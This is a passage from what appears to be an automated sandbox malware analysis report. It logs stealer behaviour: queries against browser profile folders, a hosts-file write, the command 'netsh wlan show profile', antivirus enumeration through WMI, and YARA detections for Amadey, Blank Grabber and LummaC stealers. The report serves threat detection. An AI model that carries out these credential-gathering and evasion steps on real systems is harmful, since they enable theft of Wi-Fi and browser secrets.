Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\el VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\en_GB VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\eu VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\be VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\bg VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fi VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.8 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\bn VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ms VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crowd Deny VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ne VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\pt_BR VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\sl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation\6498.2023.8.1 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ca VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\sr VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\sv VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\cy VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\3e445a25-c088-46bb-968a-82532b92e486 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ta VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\da VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\te VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\de VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\el VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\en VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0027CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_0027CBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 3_2_006D2517 GetTimeZoneInformation,

3_2_006D2517

Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies the hosts file

Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\netsh.exe netsh wlan show profile

Source: 8ZVMneG.exe, 00000054.00000003.2967071098.00000000012EA000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2967071098.00000000012D3000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2967539041.00000000012EC000.00000004.00000020.00020000.00000000.sdmp, d0ef52de9f.exe, 0000005F.00000003.3030418791.00000000012D9000.00000004.00000020.00020000.00000000.sdmp, d0ef52de9f.exe, 0000005F.00000003.2960034570.0000000001338000.00000004.00000020.00020000.00000000.sdmp, d0ef52de9f.exe, 0000005F.00000003.2960705475.000000000132A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntivirusProduct
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntivirusProduct
Source: C:\Windows\System32\attrib.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 2.2.skotes.exe.690000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.skotes.exe.690000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.260000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 89.2.skotes.exe.690000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000003.2268719607.0000000004F70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2310380497.0000000000691000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2270058738.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000059.00000002.2787455438.0000000000691000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2246085921.0000000000261000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2205661447.00000000048A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000059.00000003.2745055454.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Yara detected Blank Grabber

Source: Yara match	File source: 00000006.00000002.2993365618.000001FA2E130000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2986166870.000001FA2DFF8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2481469057.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2469304797.0000027326167000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2469304797.0000027326165000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2992431014.000001FA2DFF8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2983797651.000001FA2EDC1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: D1UL0FG.exe PID: 5160, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: D1UL0FG.exe PID: 6716, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\_MEI51602\rarreg.key, type: DROPPED

Yara detected LummaC Stealer

